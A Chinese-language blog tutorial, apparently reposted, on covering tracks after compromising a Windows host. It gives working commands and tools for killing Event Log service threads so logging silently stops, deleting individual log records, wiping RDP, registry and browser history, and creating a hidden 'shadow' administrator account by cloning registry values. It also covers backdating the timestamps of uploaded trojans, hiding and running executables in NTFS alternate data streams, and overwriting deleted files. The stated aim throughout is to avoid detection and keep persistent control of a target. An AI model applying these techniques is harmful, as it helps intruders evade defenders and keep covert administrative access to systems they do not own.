Windows痕迹清除技术
系統入侵后要對操作痕跡進行清除,如果上傳工具和木馬文件要做隱藏和偽裝,以免引起警覺甚至丟失目標,“清道夫”的工作雖有些煩雜,但這些工作直接影響到目標控守的持久性。
The quieter you become, the more you are able to hear.
文章目錄
- 一、痕跡清除
- (一) 日志文件
- (二) 搜索&連接
- (三) 瀏覽器記錄
- (四) 隱藏用戶
- 二、文件偽裝
- (一) 偽裝&隱藏
- (二) 文件擦除
一、痕跡清除
(一) 日志文件
1.主機日志
| 系統日志 | C:\Windows\System32\Winevt\Logs\System.evtx |
| 安全日志 | C:\Windows\System32\Winevt\Logs\Security.evtx |
| 應用日志 | C:\Windows\System32\Winevt\Logs\Application.evtx |
(1) 全部清除
不留下任何痕跡,但是特征也很明顯,容易被察覺,一般不推薦使用。
方法一:事件查看器刪除
通過eventvwr打開事件查看器,在右邊的操作一欄中,選擇Clear Log...
方法二:powershell命令刪除
- cmd環境:
- powershell環境:
(2) 定向清除
① 停止日志服務
方法一:工具實現
為避免清除的動作被日志記錄,首先要停止日志記錄,借助第三方工具實現,原理是定位并殺掉日志服務相關的線程,而其對應的svchost.exe進程并沒有被殺掉,所以日志記錄服務看起來是正常運行的。
項目地址:https://github.com/hlldz/Phant0m
工具老版本是用powershell寫的,執行命令powershell -File Invoke-Phant0m,如果提示腳本文件無法執行,則可能是由于執行策略限制,通過命令修改執行策略即可(管理員權限):
# 查看當前ps腳本的執行策略 Get-ExecutionPolicy# 設置ps腳本禁止執行(默認) Set-ExecutionPolicy Restricted# 設置ps腳本可執行 Set-ExecutionPolicy RemoteSigned新版本需要自己編譯生成可執行文件,原理在于定位并殺死日志服務運行線程,工具提供了兩種定位日志服務線程的方法,在編譯時要注意選擇下。注意待日志清除后要恢復日志服務,命令是net start evevtlog。
方法二:手動實現
首先利用powershell命令找出日志記錄服務(eventlog)對應的進程PID,Get-WmiObject或Get-CimInstance命令都可以:
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'"Get-CimInstance -ClassName win32_service -Filter "name = 'eventlog'"運行結果中可以看出eventlog服務對應的PID為840,然后利用Sysinternal套件中的工具procexp.exe(Process Explorer)找出PID=840的進程:
選擇該scvhost.exe,點選右鍵->屬性->線程,找出服務為eventlog的線程TID,如下圖所示為876、884、1424、1428、1432,依次選擇Kill這些線程,注意Suspend是不行的:
這樣日志服務實際上就關閉了,但由于只是殺掉了其進程下運行的線程,而進程仍然存在,所以服務看起來是沒有異樣的,這和方法一中用工具實現的原理是相同的。
需要恢復日志記錄服務時,在進程列表界面選擇該scvhost.exe,點選右鍵->重新啟動,然后運行命令net start eventlog就可以了。
② 刪除日志
一般在做敏感操作時,先關閉入侵系統的日志服務,然后就可以做羞羞的事了,但如果是為了清除單條日志,則需要借助第三方工具實現。以下這個工具可以實現停止日志服務、根據EventRecordID刪除單條日志記錄等功能。
項目地址:https://github.com/QAX-A-Team/EventCleaner
使用方法:
EventCleaner suspend # 暫停日志進程,停止日志記錄EventCleaner normal # 恢復日志進程EventCleaner closehandle # 解除security.evtx的文件占坑EventCleaner 100 # 刪除EventRecordID=100的日志2.應用日志
刪改WIndows安裝的應用程序的日志相對簡單些,因為定位其路徑后就可以手動進行刪改,思路都是相同的,都是先找到應用程序的日志路徑,停止其相應服務,然后對日志內容進行刪改。
這里以最常見的WEB應用為例,日志類型及其默認路徑和服務如下:(注意不同版本的應用日志默認存放路徑可能不同)
| IIS | C:\inetpub\logs\LogFiles\W3SVC1\ | World Wide Publishing Service |
| Apache | C:\Apache 2.4\logs | Apache2.4 |
| Tomcat | C:\Tomcat 8.5\logs | Apache Tomcat 8.5 Tomcat8 |
停止服務的命令一般用net stop即可,如net stop "World Wide Publishing Service",刪除命令用Shift + Delete或cmd命令del。
(二) 搜索&連接
獲取shell后一般要謹慎行事,但是不排除特殊情況下要遠程桌面連接上去做一些敏感操作,一旦留下痕跡切記要做好清理。
1.遠程桌面記錄
(1) 刪除緩存
緩存文件默認為C:\Users\Administrator\Documents\Default.rdp,已隱藏,可到用戶的Document目錄下,文件夾選項選擇隱藏文件可見,然后刪除,也可以用cmd命令刪除,注意這樣刪除的是全部的連接記錄:
cd C:\Users\Administrator\Documents\ attrib Default.rdp -s -h del Default.rdp(2) 刪除注冊表
對應注冊表項為HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\和HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\,可以用regedit打開注冊表編輯器,找到這兩個鍵,在右邊定向刪除對應的值,也可以用cmd命令將其全部清除:
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f注意:reg delete默認是將該注冊表項和其所有值以及子項全部都刪除,如果只將該注冊表項下的所有值都刪除,不刪除該注冊表項和其子項,要用reg delete /va。
2.文件搜索記錄
對應注冊表項為HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery,打開注冊表編輯器,找到該鍵并刪除對應的值。
3.文件瀏覽記錄
對應注冊表項為HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths,打開注冊表編輯器,找到該鍵并刪除對應的值。
4.最近訪問位置
win7在我的電腦或資源管理器中,在最近訪問位置右鍵->刪除最近項目列表;win10在我的電腦或資源管理器中,選擇查看->選項->常規中,將隱私一欄的“快速訪問”兩個選項去掉,并選擇清除歷史記錄,界面如下:
5.運行命令記錄
對應注冊表項為HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU,打開注冊表編輯器,找到該鍵并刪除對應的值。
(三) 瀏覽器記錄
如果必須用瀏覽器訪問,盡量使用有隱私模式的瀏覽器,開啟隱私模式可以避免在本地計算機留下歷史記錄、緩存文件和Cookies。
注意不同瀏覽器版本日志存放路徑可能不同,以下例舉的日志默認存放路徑并不絕對。
1.IE
(1) 存放位置
在工具->Internet 選項->常規->瀏覽歷史記錄->設置中的當前位置記錄了緩存文件存放路徑
| 瀏覽記錄 | C:\Users\Administrator\AppData\Local\Microsoft\Windows\History\ |
| 緩存文件 | C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\ |
| Cookies | C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Cookies\ |
(2) 刪除方法
- 方法一:在瀏覽器搜索下拉欄中,直接選擇刪除相應的歷史記錄
- 方法二:在工具->Internet 選項->常規->瀏覽歷史記錄中,選擇刪除所有瀏覽歷史記錄、緩存文件、Cookies
2.Chrome
(1) 存放位置
在瀏覽器搜索欄中輸入chrome://version/,可以看到個人資料路徑
| 瀏覽記錄 | C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\history |
| 緩存文件 | C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache\ |
| Cookies | C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies |
(2) 刪除方法
- 方法一:在瀏覽器搜索欄中輸入chrome://history/,選擇刪除單條瀏覽記錄
- 方法二:在設置->隱私設置和安全性中,或在搜索欄輸入chrome://history/后選擇清除瀏覽數據,選擇刪除特定時間范圍的瀏覽歷史記錄、緩存文件、Cookies
3.Firefox
(1) 存放位置
在瀏覽器搜索欄中輸入about:cache,可以看到緩存文件的磁盤存儲路徑
| 瀏覽記錄 | C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\70rs4c5d.default-release\places.sqlite |
| 緩存文件 | C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\70rs4c5d.default-release\cache2\ |
| Cookies | C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\afn7ww6q.default-release\cookies.sqlite |
(2) 刪除方法
- 方法一:在Library->History->Recent History欄中右鍵刪除特定的瀏覽記錄
- 方法二:在Library->History->Clear Recent History,或在Options->Privacy & Security中選擇Clear History,刪除指定時間范圍的歷史記錄
(四) 隱藏用戶
低級新建隱藏用戶的方式是在新建用戶名結尾加上$,這樣雖然net user命令查看不到,但是以下三種方式都可以看到新建的用戶:
- powershell命令:powershell -c Get-LocalUser
- 在計算機管理中 (cmd命令: compmgmt) 選擇 “本地用戶和組—>用戶”,或者通過cmd命令 lusrmgr 直接打開
- 控制面板 (cmd命令: control) 中選擇“用戶帳戶—>用戶帳戶—>管理其他帳戶”
而且在計算機登錄界面也會顯示新建的用戶名,這樣新建用戶很容易被發現。
推薦使用新建 影子用戶 的方式隱藏用戶,這樣只能通過注冊表查看,其它方式無法查看隱藏用戶信息。
方法:
(將新建用戶admin$作為Administrator的影子用戶,Administrator已激活)
1.新建用戶
net user admin$ asdfasdf /add net localgroup administrators admin$ /add2.導出注冊表
打開注冊表,右鍵HKEY_LOCAL_MACHINE\SAM\SAM,當前用戶 (組) 權限選擇完全控制,然后重新打開注冊表,再次選擇HKEY_LOCAL_MACHINE\SAM\SAM就可以看見HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的內容,如下所示:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names顯示了系統當前存在的所有賬戶,選中admin$,在其右側可見對應鍵值為"0x3ee",此鍵值為用戶SID的結尾,即RID。同理找到Administrator右側對應鍵值為"0x1f4",相應地將 00003EE、00001F4、admin$ 三個注冊表項右鍵導出為reg格式文件:3ee.reg、1f4.reg、admin.reg
3.F鍵值替換
編輯 3ee.reg 和 1f4.reg,將 3ee.reg 中的F鍵值替換成 1f4.reg 中的F鍵值,F鍵值中存放了用戶的登錄信息,替換后也就是將Administrator用戶的登錄信息復制給了admin$,這樣在操作系統內部就把admin$當做是Administrator,admin$也就成了Administrator的影子賬戶。
4.導入注冊表
刪除用戶,然后將剛剛導出的 3ee.reg 和 admin.reg 重新導入:
net user admin$ /delregedit /s 3ee.reg regedit /s admin.reg影子賬戶建立完成,兩者使用同一個用戶配置文件,RDP登錄admin$用戶,桌面環境、瀏覽器配置等數據和Administrator同步一致,需謹慎操作。
不同環境下影子用戶登錄時現象不同,假設A為原用戶,A$為A的影子用戶,如果當前主機沒有用戶登錄,則A$登錄后quser顯示就是A$在線;如果A已經登錄 (Active或Disc),A$登錄時情況要復雜些,分析如下:
-
主機只允許每個用戶1個session在線情況下 (缺省值):無論單用戶還是多用戶環境,A$登錄時A直接掉線至鎖屏,A不會有任何提示 (單用戶環境下,當有用戶在線,其他用戶在遠程登錄時登錄界面會提示:“如果繼續,當前在線用戶會斷開”,選擇繼續后,當前在線的用戶會出現提示:“其他用戶正在連接,是否允許并斷開當前的連接”,只有當選擇允許或者超過30s才會建立連接),quser顯示只有A在線,這與A登錄新創建1個session的現象是相同的。
-
主機允許每個用戶多個session在線情況下:單用戶環境下,無論A是否在線,A$登錄都會接管A的桌面,quser顯示僅有A在線;多用戶環境下,當A用戶在線 (Active),A$登錄時不會將A擠掉,此時會重新初始化一個桌面環境,但是A和A$實際上用的是同一個桌面環境,一些軟件如瀏覽器A打開后A$無法再次打開,quser顯示A和A$同時在線,當A用戶離線 (Disc),影子用戶在登錄時會接管A的桌面,quser顯示只有A在線。
二、文件偽裝
(一) 偽裝&隱藏
1.修改時間
上傳工具或木馬文件后,為掩人耳目,要將其修改為和當前目錄中文件相近的時間,可以利用powershell進行修改。
例如將剛上傳的test.exe工具創建時間修改為2020年12月12日12:12:12,方法如下:
方法一:利用對象屬性修改
查看文件的創建時間、修改時間、上次訪問時間:
(ls "C:\temp\test.exe").CreationTIme (ls "C:\temp\test.exe").LastWriteTime (ls "C:\temp\test.exe").LastAccessTimedir命令以及文件夾目錄中顯示的時間都是文件的修改時間LastWriteTime。
修改文件的創建時間、修改時間、上次訪問時間:
(ls "C:\temp\test.exe").CreationTIme = "2020年12月12日12:12:12" (ls "C:\temp\test.exe").LastWriteTime = "2020年12月12日12:12:12" (ls "C:\temp\test.exe").LastAccessTime = "2020年12月12日12:12:12"
方法二:利用cmdlet命令修改
查看文件屬性信息,包括文件的創建時間、修改時間、上次訪問時間:
Get-ItemProperty -Path "C:\temp\test.exe" | Format-list -Property *修改文件的創建時間、修改時間、上次訪問時間:
Set-ItemProperty -Path "C:\temp\test.exe" -Name CreationTIme -Value "2011-11-11 11:11:11" Set-ItemProperty -Path "C:\temp\test.exe" -Name LastWriteTime -Value "2011-11-11 11:11:11" Set-ItemProperty -Path "C:\temp\test.exe" -Name LastAccessTime -Value "2011-11-11 11:11:11"2.文件隱藏
方法一:attrib命令
上傳后利用attrib命令改變文件屬性,命令格式:
attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]
- + 增加屬性
- - 減少屬性
- R 只讀文件屬性
- A 存檔文件屬性
- S 系統文件屬性
- H 隱藏文件屬性
- /S 處理當前文件夾及其子文件夾中的匹配文件
- /D 也處理文件夾
例如在C:\temp目錄上傳工具test.exe,將其目錄及其文件隱藏命令:attrib +r +a +s +h C:\temp\test.exe & attrib +r +a +s +h C:\temp,如果要將其刪除,先要將其恢復然后再刪除:attrib -r -a -s -h C:\temp & rmdir C:\temp /s /q
利用attrib隱藏后的文件,在文件瀏覽器中選擇隱藏項目可見或是用普通的dir命令,都是不可見的,如果要查看可以用命令:dir /a
方法二:ADS隱寫
首先要了解MAC文件系統 (HFS) 和Windows文件系統 (NTFS) 儲存文件數據的方式:
- MAC文件系統將文件數據存儲在數據和資源兩個部分,數據部分存儲文件內容,資源部分用于告訴操作系統如何使用文件數據
- Windows文件系統將文件數據全部存儲在文件中,用文件擴展名 (.bat .exe .txt 等) 告訴操作系統如何使用文件數據
ADS (Alternate Data Streams) 是Windows文件系統NTFS的特性之一,目的是兼容MAC文件系統,原本用意是通過ADS兼容MAC文件系統中文件存儲的資源部分,但可以利用此特性將文件隱藏在文件、目錄甚至盤符的ADS中。
ADS隱藏文件可以起到很好效果,但如果想要利用ADS運行可執行文件,情況要復雜些,因為在Windows 7之后系統對ADS運行可執行文件作了限制,具體系統需要驗證方法可行性。
目前在我的實驗環境下將可執行文件隱藏到其他文件的ADS,測試了幾種運行方法:只有runas命令在所有Windows版本是可行的,但是必須要交互輸入用戶密碼,其他命令方式在不同版本系統表現不同,要先驗證才行,實驗中將工具test.exe上傳至主機C:\temp目錄,將其利用ADS隱藏,不同方法具體使用情況如下:
① 將其隱藏在用戶桌面test.txt文件的ADS中,ADS命名為1.exe
# 隱藏ADS type C:\temp\test.exe > C:\users\Jim\desktop\test.txt:1.exe# 先切換到ADS所在目錄,再運行 # Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 測試可行 powershell -c "cd C:\users\Jim\desktop; .\test.txt:1.exe"② 將其隱藏在C:\Windows目錄的ADS中,ADS命名為2.exe
# 隱藏ADS type C:\temp\test.exe > C:\Windows:2.exe# 先切換到ADS所在目錄,再運行 # Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 測試可行 powershell -c "cd C:\; .\Windows:2.exe"③ 將其隱藏在C:\盤符的ADS中,ADS命名為3.exe
type C:\temp\test.exe > C:3.exe# 隱藏在盤符中的方式在所有Windows系統中都可以直接運行 C:3.exe利用ADS技術隱藏后的文件,在文件瀏覽器中選擇隱藏項目可見或是用普通的dir命令,或是查看文件內容和大小,都是不可發現的,如果要查看可以用命令:dir /r,如果要將文件ADS刪除,需要將文件轉換為FAT、FAT32等其他文件系統格式,或是借助第三方工具如:SysinternalsSuite工具包中的 Streams ,使用方法如下:
# 查看文件/目錄ADS Streams.exe -s <DIR|FILE># 刪除文件/目錄ADS Streams.exe -d <DIR|FILE>(二) 文件擦除
對于敏感文件和工具,不能用常規的刪除命令,因為常規刪除的文件會進入回收站,易留下痕跡,而且在磁盤空間未覆蓋情況下可以用數據恢復軟件恢復,以下這些命令更加安全高效:
1.命令行Del/Erase刪除
永久刪除文件,不會經過回收站,但是沒有覆蓋,用數據恢復軟件仍有恢復可能。
2.Shift+Delete永久刪除
永久刪除文件,不會經過回收站,但是沒有覆蓋,用數據恢復軟件仍有恢復可能。
3.Cipher擦除覆寫
cipher /W:directory:從整個卷上可用的磁盤空間中覆寫數據,從而覆蓋已刪除文件的硬盤空間,這樣之前刪除的數據頂多能夠恢復文件名,但是恢復數據幾乎是不可能的。
例如剛刪除工具C:\temp\test.exe,然后執行cipher /W:C,這樣C盤上的空余空間就會被覆寫三輪,分別是0x00、0xFF、隨機數,覆寫需要一段時間,這取決于C盤空余空間的大小。
4.Format格式化覆寫
format volume /P:count:將volume卷上每個扇區清零,此后該卷將被改寫count次,且每次使用不同的隨機數。
例如format D: /P:10表示把D盤用隨機數格式化后再覆寫10次。
總結
以上是生活随笔為你收集整理的Windows痕迹清除技术的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 搭建简易客户端从tftp服务器中下载文件
- 下一篇: 基于SSM的概念可视化程序设计学习系统毕